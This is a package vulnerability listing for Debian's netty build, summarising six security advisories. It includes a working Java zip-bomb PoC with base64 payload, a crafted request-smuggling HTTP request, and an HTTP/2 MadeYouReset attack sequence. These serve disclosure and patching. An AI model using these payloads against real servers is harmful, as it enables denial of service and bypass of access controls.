Search for packages
| purl | pkg:deb/debian/netty@1:4.1.48-7%2Bdeb12u1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
| This package is not known to be affected by vulnerabilities. | ||
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-337s-x5xq-9kc1 | Netty has SMTP Command Injection Vulnerability that Allows Email Forgery An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. |
CVE-2025-59419
GHSA-jq43-27x9-3v86 |
| VCID-4twn-m45z-yyg3 | Netty's decoders vulnerable to DoS via zip bomb style attack ### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } } ``` Error: ``` Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11) ``` ### Impact DoS for anyone using `BrotliDecoder` on untrusted input. |
CVE-2025-58057
GHSA-3p8m-j85q-pgmj |
| VCID-8p2e-63th-gqge | Netty affected by MadeYouReset HTTP/2 DDoS vulnerability Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” ### MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. ### Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. ### Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. 3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) ### Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. ### Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. If you have any questions, we will be happy to clarify or schedule a Zoom call. Gal, Anat and Yaniv. |
CVE-2025-55163
GHSA-prj3-ccx8-p6x4 |
| VCID-n9u5-a8js-hbf2 | Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions ## Summary A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. ## Details When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): ``` POST /one HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 POST /two HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 0 ``` The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). ## Impact This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization. ## Disclosure - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html ## Discussion Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1 ## Credit - Credit to @JeppW for uncovering this vulnerability. - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. |
CVE-2025-58056
GHSA-fghv-69vj-qj49 |
| VCID-qyhp-twx4-vffc | Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. |
CVE-2025-67735
GHSA-84h7-rjj3-6jx4 |
| VCID-rewk-dvth-tubh | Netty's HttpPostRequestDecoder can OOM ### Summary The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors ### Details 1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. 2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits ### PoC Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 ### Impact Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. |
CVE-2024-29025
GHSA-5jpm-x58v-624v |